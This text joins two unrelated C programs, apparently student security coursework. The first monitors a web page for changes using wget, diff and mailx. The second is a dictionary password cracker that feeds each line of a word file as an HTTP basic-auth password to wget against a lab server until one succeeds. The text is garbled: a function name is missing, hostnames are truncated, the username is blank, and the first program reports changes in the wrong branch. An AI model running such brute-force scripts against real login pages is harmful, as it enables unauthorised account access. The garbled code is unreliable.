

             
	     


#include<stdio.h>
#include<stdlib.h>
#include<string.h>

    
    int  ()
    {
       char url[30];
       int exitValue=-1;
       FILE *fr;

       char s[300]; 	     
	system("rm index.html*");
        system("wget http://www.cs.rmit.edu./students/ ");    
	 system("mv index.html one.html");
	 
           printf("System completed Writing\n"); 
	   system("sleep 3600");
	    
	    
            system("wget http://www.cs.rmit.edu./students/ "); 
            
	          
	    	     
	     exitValue=system("diff one.html index.html > .out" );
	     
             fr=fopen(".out","r");
	     
	     strcpy(s,"mailx -s \"Testing Again\"");
	     	     
	     strcat(s,"  < .out");
	     if(fgets(url,30,fr))
	     {
	     system(s);
	     
	     system("rm one.html");  
	     
	     printf("\nCheck your mail") ; 
	     fclose(fr);        
	     }
	       else
	           {
	            printf(" changes detected"); 
		    
	            system("rm one.html"); 
		    fclose(fr);   
		   }
		   return 0;   
      }
      
      
   




 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
